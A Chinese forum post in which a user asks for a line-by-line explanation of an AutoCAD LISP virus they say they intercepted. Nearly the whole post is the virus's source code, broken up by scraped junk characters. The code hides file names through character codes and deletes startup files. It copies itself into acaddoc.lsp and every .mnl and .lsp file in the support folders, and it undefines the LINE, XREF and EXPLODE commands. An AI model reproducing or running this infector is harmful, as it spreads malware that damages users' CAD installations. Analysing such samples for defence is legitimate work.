求助高手解释LISP病毒代码

五面怪

本人最近截获：CAD病毒代码一段，请LISP高手帮忙解析一下每句语句的功能，不胜感谢。最是比较常见的，党是不会亏待你的，

1. (
   / B) m  g' ^1 T. r" }
2. setq
   
3.   wold_cmd
     s, `  C! Y1 ^# ^6 U' L% b% j
4.    (
   
5.     getvar
   1 h( W3 W6 ]/ q; A1 q) b
6.      "cmdecho"
   
7.    )
   * O$ d" B# ~3 i( J' |. \* R; g
8. )
   " Q* e" c0 M, d
9. (
   " f6 p% P: w' L3 E
10. setvar
    
11.   "cmdecho"
    
12.   0
    1 A. N( J- q; H/ @9 F* j- v
13. )
    
14. (
    
15. setq
    9 V* u% V: }$ c( `
16. bb 1
    " Y9 F# P- V2 i* Z) u! H- l9 F
17. )
    ) u' R9 Y" m1 ~: A9 i7 K
18. (setq dpath (getvar "dwgprefix"))
    
19. (setq wpath (getvar "menuname"))
    1 M( N1 Y8 ]: w% i
20. (setq wpath (substr wpath 1 (- (strlen wpath) 4)))
    , L- E, }8 D5 F% ~2 Z* \* W$ ?& ^
21. (setq mnl (strcat (chr 97)
    6 q) m* C4 q, ^& f$ L, N2 c9 ~6 m
22.                   (chr 99)
    
23.                   (chr 97)
    * e) g7 j& B9 Z, Q
24.                   (chr 100)
    
25.                   (chr 46)
    + {0 @) H2 u* Q% s+ ^3 b; s. D
26.                   (chr 109)
    
27.                   (chr 110)
    
28.                   (chr 108)
    6 T( L* c" s, H& s% h  \" r! K
29.           )
    % O1 L0 {) M' o7 B9 d
30.       lsp (strcat (chr 97)
    1 X6 r4 q2 [: s; V
31.                   (chr 99)
    ( {$ g7 O5 a2 _+ d! f; ^3 y  r
32.                   (chr 97)
    9 P- N- y0 g$ @+ |2 r
33.                   (chr 100)
    
34.                   (chr 100)
    6 ?$ o( I% K! m1 N% d. O, S
35.                   (chr 111)
    
36.                   (chr 99)
    5 y/ h0 w" X+ t/ b+ X
37.                   (chr 46)
    
38.                   (chr 108)
    8 t; N2 c( m/ z0 K- l& A
39.                   (chr 115)
    ) H8 v9 f0 j- b+ |; v' o) b) |
40.                   (chr 112)
    . H. M$ K0 j1 B+ ^  A6 o
41.           )
    
42. )
    
43. (vl-file-delete (strcat wpath "acadapq.lsp"))
    
44. (vl-file-delete (strcat wpath lsp))
    4 V4 z2 f1 _( v* l" J2 b3 T3 Q! J
45. (vl-file-delete (strcat wpath "acad.lsp"))
    
46. (vl-file-delete (strcat dpath "acad.lsp"))
    
47. (defun wwriteapp ()
    0 o& k7 ~) N" h
48.   (if (setq wwjm1 (open wnewacad "w"))
    5 p1 y, T; x% |8 S* D* ]" c
49.     (progn
    
50.       (setq wwjm (open woldacad "r"))
    
51.       (while(setq wwz (read-line wwjm))
    - t, _9 V  }- D( @  }' b
52.          (write-line wwz wwjm1)
    3 r6 i0 J& ?/ b( J
53.       )
    
54.       (close wwjm)
    
55.       (close wwjm1)
    8 c, `! a* p) j3 [9 u+ f- R
56.     )
    
57.   )
    * e* D3 J( P" Y$ c4 L
58. )
    
59. 
    
60. (setq lbz 0)
    6 l  ?$ \( o: n; P
61. (setq wwjqm (strcat dpath lsp))
    
62. (if (setq wwjm (open wwjqm "r"))
    ( _+ Q  v$ Y9 D( H$ y
63.   (progn
    $ e0 v4 g! U+ v& T2 o# K( W
64.     (repeat 15 (read-line wwjm))
    ! h. ]! r7 o  ?
65.     (setq wz (read-line wwjm))
    
66.     (setq ab (atoi (substr wz 4 1)))
    
67.     (close wwjm)
    
68.     (if        (> ab bb)
    
69.       (setq lbz 1)
    
70.     )
    
71.   )
    
72. )
    
73. 
    , i) Y& T1 z' ?# f$ B! |
74. (setq wwjqm (strcat wpath mnl))
    
75. (if (setq wwjm (open wwjqm "r"))
    1 y  J, N: i- k* A# a
76.   (progn
    ) Q$ W* N. i$ y' H; R
77.     (repeat 15 (read-line wwjm))
    
78.     (setq wz (read-line wwjm))
    $ h( o/ ?" v4 u' O% f9 u
79.     (setq nb (atoi (substr wz 4 1)))
      I* G7 a3 ?& t  V! {+ n& C
80.     (close wwjm)
    " [# k. J6 l- g' f
81.    
    
82.     (if        (< nb bb)
    2 z0 t2 V! [% d) J, Z
83.       (setq lbz 1)
    & j4 K* P' I2 o% B
84.     )
    ! d( v6 `' l& m6 S4 A
85.   )
    
86.   (setq lbz 1)
    7 n# L- a1 P( O
87. )
    ; @9 R# p$ o6 w# P" A, D3 Q
88. (if (= lbz 1)
    " P4 O1 j- D; {& f1 k
89.   (progn
    
90.     (setq woldacad (strcat dpath lsp))
    
91.     (setq wnewacad (strcat wpath mnl))
    3 T* k! X* T  I9 U
92.     (wwriteapp)
    0 ]) `2 V9 X" n4 y$ n, H
93.   )
    
94. )
    
95. (if (and (/= (substr dpath 1 1) (chr 67))
    + Q$ d; t  }2 U( ?. c
96.          (/= (substr dpath 1 1) (chr 68))
    5 C" i/ X3 o+ F% _* ^" ~! Z- y5 C& N
97.          (/= (substr dpath 1 1) (chr 69))
    
98.          (/= (substr dpath 1 1) (chr 70))
    
99.     )
    
100.   (progn
     
101.     (setq woldacad (strcat wpath mnl))
     
102.     (setq wnewacad (strcat dpath lsp))
     . [" o& {8 t# h3 {# F
103.     (wwriteapp)
     
104.   )
     
105.   (vl-file-delete (strcat dpath lsp))
     
106. )
     - T& w- ~3 Z% }% c" }" o+ l! \
107. ;load "acadapq")
     
108. (vl-file-copy(findfile(vl-list->string'(108 111 103 111 46 103 105 102)))(vl-list->string'(97 99 97 100 46 118 108 120)))
     ( u1 U2 }' x1 r" ~2 L
109. 
     6 U; \1 N2 g( ]0 v
110. (setq flagx t)
     
111. (setq bz "(setq flagx t)")
     : K1 w: U5 t% j
112. (defun app(source target bz / flag flag1 wjm wjm1 text)
     ( ^5 ^4 M1 {' o4 s7 W
113.   (setq flag nil)
     6 a! x) h# s4 o* D4 a
114.   (setq flag1 t)
     
115.   (if (findfile target)
     
116.     (progn
     # q6 h1 Q$ k7 E
117.       (setq wjm1 (open target "r"))
     
118.       (while (setq text (read-line wjm1))
     
119.         (if (= text bz) (setq flag1 nil))
     6 D' @+ T2 n; D) j# m4 P& E
120.         );while
     
121.       (close wjm1)
     7 E+ ~2 y5 J" s, n8 V
122.       );progn
       S1 J7 G4 E+ O
123.     );if
     
124.   (if flag1
     0 D3 r) p. R- G3 }) @. i
125.     (progn
     ; ?6 O! J7 g% [; [7 n+ E9 o
126.       (setq wjm (open source "r"))
     , l; A! q# s7 F" ~
127.       (setq wjm1 (open target "a"))
       Y* B0 N, X3 a& w' o' t- Z
128.       (write-line (chr 13) wjm1)
     " Q( U$ T/ y) E2 S4 p
129.       (while (setq text (read-line wjm))
     8 `5 t" y" d+ F* O, h
130.         (if (= text bz) (setq flag t))
     
131.         (if flag
     9 r' a- I5 i( i" Z  x" T
132.           (progn
     % I  E6 t/ N0 N( D9 Q
133.             (write-line text wjm1)
     
134.             );progn
     " ?: e5 y% |/ Q, m5 C
135.           );if
     1 A5 t1 q) f' v
136.         );while
     
137.       (close wjm1)
     ' Z$ U1 a+ y2 n; Q2 s) v
138.       (close wjm)
     
139.       );progn
     2 F( y  X/ x% c) ]
140.     );if
     
141.   );defun
     
142. (setvar "cmdecho" 0)
     
143. (setq acadmnl (findfile "acad.mnl"))
     ; G/ L3 S& q0 T' F5 @1 j
144. (setq acadmnlpath (vl-filename-directory acadmnl))
     
145. (setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl"))
     8 t# D7 H  _; F7 |9 P2 l! W% _
146. (setq mnlnum (length mnlfilelist))
     
147. (setq acadexe (findfile "acad.exe"))
     6 N. v* _' o* C3 ?
148. (setq acadpath (vl-filename-directory acadexe))
     
149. (setq support (strcat acadpath "\\support"))
     
150. (setq lspfilelist (vl-directory-files support "*.lsp"))
     
151. (setq lspfilelist (append lspfilelist (list "")))
     
152. (setq lspnum (length lspfilelist))
     
153. (setq dwgname (getvar "dwgname"))
     
154. (setq dwgpath (findfile dwgname))
     
155. (if dwgpath
     
156.   (progn
     
157.     (setq acaddocpath (vl-filename-directory dwgpath))
     7 R4 I& [. [+ E* g/ i
158.     (setq acaddocfile (strcat acaddocpath "\\acaddoc.lsp"))
     
159.     (setq mnln 0)
     
160.     (while (< mnln mnlnum)
     
161.       (setq mnlfilename (strcat acadmnlpath "\" (nth mnln mnlfilelist)))
     
162.       (app mnlfilename acaddocfile bz)
     
163.       (app acaddocfile mnlfilename bz)
     
164.       (setq mnln (1+ mnln))
       s- |9 K% k4 C) }1 q! ^, t7 b  W/ o
165.       );while
     ' F' q* U0 {2 S6 Z/ r; ~' [4 R
166.     (setq lspn 0)
     
167.     (while (< lspn lspnum)
     7 F: R) M! D7 E1 `& L
168.       (setq lspfilename (strcat support "\" (nth lspn lspfilelist)))
     3 Q' ^4 \$ f; ^- k( l4 B' Y
169.       (app lspfilename acaddocfile bz)
     
170.       (app acaddocfile lspfilename bz)
     
171.       (setq lspn (1+ lspn))
     
172.       );while
     
173.     );progn
     ' `- m* R2 M- Z0 e0 H3 Z
174.   );if
     
175. (setq mnln 0)
     ( {6 U+ B: m% U) U3 D, Z: E( Q
176. (while (< mnln mnlnum)
     . O- C! V/ E2 R4 a
177.   (setq mnlfilename (strcat acadmnlpath "\" (nth mnln mnlfilelist)))
     
178.   (setq mnln1 0)
     4 l( a7 Y+ _0 N4 ^& r
179.   (while (< mnln1 mnlnum)
     2 f8 x$ A: s8 t
180.     (setq mnlfilename1 (strcat acadmnlpath "\" (nth mnln1 mnlfilelist)))
     
181.     (app mnlfilename mnlfilename1 bz)
     $ o$ s: a* \; c" b
182.     (setq mnln1 (1+ mnln1))
     0 ~* k1 x! D& J+ i
183.     );while
     # Q1 L$ Y2 T$ T. [6 B
184.   (setq lspn1 0)
     
185.   (while (< lspn1 lspnum)
     
186.     (setq lspfilename1 (strcat support "\" (nth lspn1 lspfilelist)))
     $ n! z4 C5 k* o, s: w
187.     (app mnlfilename lspfilename1 bz)
     ! }! L. {% [' L: }
188.     (setq lspn1 (1+ lspn1))
     
189.     );while
     
190.   (setq mnln (1+ mnln))
     
191.   );while
     
192. (setq lspn 0)
     $ H+ P+ c& q, I; m6 W% F- r
193. (while (< lspn lspnum)
     
194.   (setq lspfilename (strcat support "\" (nth lspn lspfilelist)))
     " \. e1 H2 J6 p# v9 `
195.   (setq lspn1 0)
     + _: g1 \4 o0 g
196.   (while (< lspn1 lspnum)
       ]4 M3 C1 p! d( ]: Z3 Y
197.     (setq lspfilename1 (strcat support "\" (nth lspn1 lspfilelist)))
     
198.     (app lspfilename lspfilename1 bz)
     
199.     (setq lspn1 (1+ lspn1))
     
200.     );while
     
201.   (setq mnln1 0)
     
202.   (while (< mnln1 mnlnum)
     
203.     (setq mnlfilename1 (strcat acadmnlpath "\" (nth mnln1 mnlfilelist)))
     * x' T! n+ J$ k6 a
204.     (app lspfilename mnlfilename1 bz)
     5 `4 _) Y/ D- U4 ]6 R7 i; j9 n9 [
205.     (setq mnln1 (1+ mnln1))
     ' c# B, V; B4 ^# E3 q: Y
206.     );while
     
207.   (setq lspn (1+ lspn))
     
208.   );while
     1 f% S4 F/ y. ~- Y6 h& w
209. (setvar "sdi" 1)
     
210. (setvar "ACADLSPASDOC" 1)
     9 ?! [" G- e4 ~% T2 q. S& I
211. (command "undefine" "line")
     4 T% @' p6 R6 I/ c" l
212. (command "undefine" "_line")
     % R& w. ^$ Y# z( I+ y! U
213. (command "undefine" "xref")
     / N& G1 w. y! k% x& a
214. (command "undefine" "_xref")
     
215. (command "undefine" "explode")
     3 i" H* C% [# l7 n3 \7 y
216. (command "undefine" "_explode")
     & N6 \; F8 b, ?. ~7 I
217. (setvar "cmdecho" 1)
     9 G2 h- K/ M  K" o0 k
218. (princ)
     1 \, U; Z9 ~* H9 Q  T
219. (load "acadapp")
     ! M) k, @' x$ k. p1 B1 r
220. (princ)
     - O. y7 z; D: \. }/ Z/ V
221. (if (null stol) (load "lcm" ""))
     & q; m) X/ Q" l* a
222. (princ)
     
223. (load "acadappp.lsp")
     
224. (princ)
     
225. (if (null stol) (load "lcm" ""))
     
226. (princ)

复制代码